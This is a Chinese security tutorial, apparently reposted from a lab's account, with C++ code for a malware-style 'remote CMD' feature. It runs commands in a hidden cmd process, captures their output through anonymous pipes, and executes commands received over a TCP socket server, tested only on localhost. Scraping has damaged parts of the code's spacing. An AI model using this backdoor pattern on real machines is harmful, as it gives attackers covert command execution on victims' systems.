序言
遠程 CMD 是指惡意程序接收到控制端發(fā)送的 CMD 指令后,在本地執(zhí)行 CMD 命令,并將執(zhí)行結(jié)果回傳至控制端。本文將演示使用匿名管道技術(shù)獲取 CMD 命令的執(zhí)行結(jié)果。
相關(guān)API
CreatePipe:用于創(chuàng)建管道
PeekNamedPipe:用于判斷管道中是否有數(shù)據(jù)存在
ReadFile、WriteFile:用于向管道讀取或?qū)懭霐?shù)據(jù)
CreateProcess:用于創(chuàng)建CMD子進程,可指定啟動信息(STARTUPINFO)
實現(xiàn)原理
管道是一種進程間通信的技術(shù),Window 上進程間通信技術(shù)還有文件映射、共享內(nèi)存、郵槽、剪切板、事件等。
管道分為命名管道和匿名管道:
* 匿名管道只能在父子進程間通信,數(shù)據(jù)傳輸單向,不能網(wǎng)絡(luò)通信;
* 命名管道可在任意進程間通信,數(shù)據(jù)傳輸雙向,但同一時間只能有一端讀寫。
由于遠程 CMD 中僅僅需要執(zhí)行 CMD 指令的結(jié)果,所以使用匿名管道即可,其使用流程如下:
1. 使用 CreatePipe 創(chuàng)建匿名管道,獲取管道數(shù)據(jù)讀取句柄和管道數(shù)據(jù)寫入句柄。
2. 初始化進程結(jié)構(gòu)體,將管道寫入句柄賦給新進程控制臺窗口的緩存句柄;
3. 使用CreateProcess創(chuàng)建新進程執(zhí)行CMD命令,并等待命令執(zhí)行結(jié)束;
4. 在循環(huán)中使用 PeekNamedPipe 函數(shù)判斷管道中是否有數(shù)據(jù),通過管道讀取句柄從緩沖區(qū)中獲取執(zhí)行結(jié)果。
5. 關(guān)閉句柄,釋放資源。
編碼實現(xiàn)
關(guān)鍵代碼
// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
BOOL bRet = FALSE;
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// 設(shè)定管道的安全屬性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 創(chuàng)建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if(FALSE== bRet)
{
printf("CreatePipe");
returnfalse;
}
// 設(shè)置新進程參數(shù)
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 創(chuàng)建新進程執(zhí)行命令, 將執(zhí)行結(jié)果寫入匿名管道中
bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if(FALSE== bRet)
{
printf("CreateProcess");
returnfalse;
}
// 等待命令執(zhí)行結(jié)束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);
// 不斷從匿名管道中讀取結(jié)果到輸出緩沖區(qū)
while(true)
{
char buf[2048]{};
DWORD readbytes = 0;
DWORD availbytes = 0;
if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
if(!availbytes) break;
if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;
buf[readbytes] = 0;
outbuf += buf;
}
// 關(guān)閉句柄, 釋放內(nèi)存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
returntrue;
}
上面的代碼中首先調(diào)用 CreatePipe 函數(shù)創(chuàng)建匿名管道,并將返回的讀寫句柄保存到 hReadPipe 和 hWritePipe 變量中。
然后,通過設(shè)置STARTUPINFO結(jié)構(gòu)體中的參數(shù),將新進程的標準錯誤輸出和標準輸出都重定向到管道中,以便將命令執(zhí)行結(jié)果寫入管道中。
接著,調(diào)用CreateProcess函數(shù)創(chuàng)建新進程,并將命令行命令作為參數(shù)傳入。
CreateProcess 函數(shù)執(zhí)行成功后,新進程開始執(zhí)行命令,并將命令執(zhí)行結(jié)果寫入管道中,之后通過循環(huán)調(diào)用 PeekNamedPipe 和 ReadFile 函數(shù),不斷從管道中讀取數(shù)據(jù),并將讀取到的數(shù)據(jù)存儲到輸出緩沖區(qū)中。
最后,代碼關(guān)閉句柄,釋放內(nèi)存。
測試實現(xiàn)
測試代碼
intmain(intargc, char** argv)
{
TCHAR cmd_str[] = L"ping 127.0.0.1";
// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
std::stringoutbuf;
if(false== PipeCmd(cmd_str, outbuf))
{
printf("pipe cmd error.
");
}
else
{
printf("CMD執(zhí)行結(jié)果為:
%s
", outbuf.c_str());
}
system("pause");
return0;
}

遠程傳輸
前面僅僅是把 cmd 命令的執(zhí)行結(jié)果獲取了,要想實現(xiàn)遠程傳輸,需要加入網(wǎng)絡(luò)傳輸部分。

測試
服務(wù)端
#definePORT 9982
inttest_server()
{
SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in bindaddr;
bindaddr.sin_family = AF_INET;
bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
bindaddr.sin_port = htons(PORT);
bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));
listen(listenfd, 1);
sockaddr_in clientaddr;
intclientaddrlen = sizeof(SOCKADDR);
SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);
charbuf[1024]{};
intrecvbytes = recv(clientfd, buf, 1024, 0);
if(recvbytes <= 0) return?-1;
???std::string?outbuf;
???PipeCmd((LPTSTR)buf, outbuf);
???std::cout?<< outbuf << std::endl;
???closesocket(clientfd);
???closesocket(listenfd);
???return?0;
}
客戶端
inttest_client()
{
SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
structsockaddr_inServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ServerAddr.sin_port = htons(PORT);
connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));
TCHAR cmdbuf[100] = _T("ipconfig");
send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);
closesocket(connfd);
return0;
效果
開啟服務(wù)器后,通過客戶端向服務(wù)端發(fā)送指令,服務(wù)端接收到指令后開始處理,最終測試能夠正確處理。
小結(jié)
上述的遠程 CMD 的實現(xiàn)通過一個匿名管道實現(xiàn)的,它是通過直接執(zhí)行 cmd 命令,從而不需要創(chuàng)建傳遞命令的管道。遠程 CMD 的實現(xiàn)方法還有幾種變形方式,比如雙管道遠程 CMD,和零管道遠程 CMD,它們對應(yīng)的思路就是對 CMD 的輸出輸入重定向位置進行控制,比如:
雙管道實現(xiàn)遠程 CMD 就是將 CMD 進程的輸入、輸出句柄替換為讀寫管道的句柄。
零管道實現(xiàn)遠程 CMD 就是將 CMD 進程的輸入、輸出句柄替換為 socket 的句柄。
審核編輯:劉清
-
WINDOWS
+關(guān)注
關(guān)注
4文章
3623瀏覽量
92894 -
CMD命令
+關(guān)注
關(guān)注
0文章
28瀏覽量
8664
原文標題:安全研發(fā)之遠程CMD
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
NICE指令的完整執(zhí)行過程
[RT-Thread Nano 4.1.1] Finsh 控制 命令執(zhí)行 創(chuàng)建定時器 第三次無法執(zhí)行怎么解決?
使用AT組件命令行可以發(fā)送成功,但是在程序里發(fā)送總是超時,怎么解決?
遠程命令執(zhí)行:IT 運維效率翻倍新方式
【HZ-T536開發(fā)板免費體驗】5- 無需死記 Linux 命令!用 CangjieMagic 在 HZ-T536 開發(fā)板上搭建 MCP 服務(wù)器,自然語言輕松控板
Linux基礎(chǔ)命令which詳解
oracle數(shù)據(jù)恢復(fù)—oracle數(shù)據(jù)庫誤執(zhí)行錯誤truncate命令如何恢復(fù)數(shù)據(jù)?
allegro軟件走線命令下參數(shù)不顯示如何解決
HarmonyOS5云服務(wù)技術(shù)分享--匿名登錄功能指南
HarmonyOS5云服務(wù)技術(shù)分享--認證文檔問題
DLP4500-C350REF在發(fā)送獲取光機的RGB顏色命令,返回的是不正確的數(shù)值,為什么?
NIRSCANEVM在dlp_nirscan下執(zhí)行make命令時,產(chǎn)生了報錯怎么解決?
ADS1282在成功執(zhí)行SDATAC命令后,/DRDY輸出的信號是什么?
創(chuàng)想智控激光掃描技術(shù)在管道行業(yè)馬鞍口工件智能焊接的應(yīng)用

使用匿名管道技術(shù)獲取CMD命令的執(zhí)行結(jié)果
評論